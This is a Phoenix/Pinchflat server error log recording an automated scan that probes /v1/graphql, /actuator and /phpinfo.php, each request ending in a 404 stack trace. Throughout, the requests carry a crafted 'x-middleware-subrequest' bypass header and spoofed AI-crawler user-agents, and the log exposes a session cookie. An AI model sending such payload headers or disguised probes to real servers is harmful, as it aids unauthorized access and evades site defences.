"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/v1/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61nZz2IPzkN4ABwth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /v1/graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29898.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/v1/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34952}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :u (truncated) 16:49:10.838 [info] GET /actuator/mappings 16:49:10.838 [debug] QUERY OK source="settings" db=0.1ms idle=138.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.839 [debug] QUERY OK source="settings" db=0.0ms idle=116.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.839 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.839 [error] #PID<0.29901.0> running PinchflatWeb.Endpoint (connection #PID<0.29900.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator/mappings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/mappings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/mappings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29901.0>, params: %{}, path_info: ["actuator", "mappings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/actuator/mappings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61niGSi9eatsAAILj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/mappings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/mappings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29900.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/mappings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34968}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs (truncated) 16:49:10.861 [info] GET /actuator 16:49:10.861 [debug] QUERY OK source="settings" db=0.0ms idle=138.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.861 [debug] QUERY OK source="settings" db=0.0ms idle=57.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.861 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.861 [error] #PID<0.29903.0> running PinchflatWeb.Endpoint (connection #PID<0.29902.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /actuator ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34978}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29903.0>, params: %{}, path_info: ["actuator"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/actuator", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61nnb5Qegsp0AAIMD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34978}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29902.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34978}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, (truncated) 16:49:10.864 [info] GET /phpinfo.php 16:49:10.864 [debug] QUERY OK source="settings" db=0.0ms idle=60.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.864 [debug] QUERY OK source="settings" db=0.0ms idle=25.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:10.864 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:10.864 [error] #PID<0.29905.0> running PinchflatWeb.Endpoint (connection #PID<0.29904.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29904.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29905.0>, params: %{}, path_info: ["phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61noO6IR2V44ABwuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29904.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29904.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/phpinfo.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34984}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => 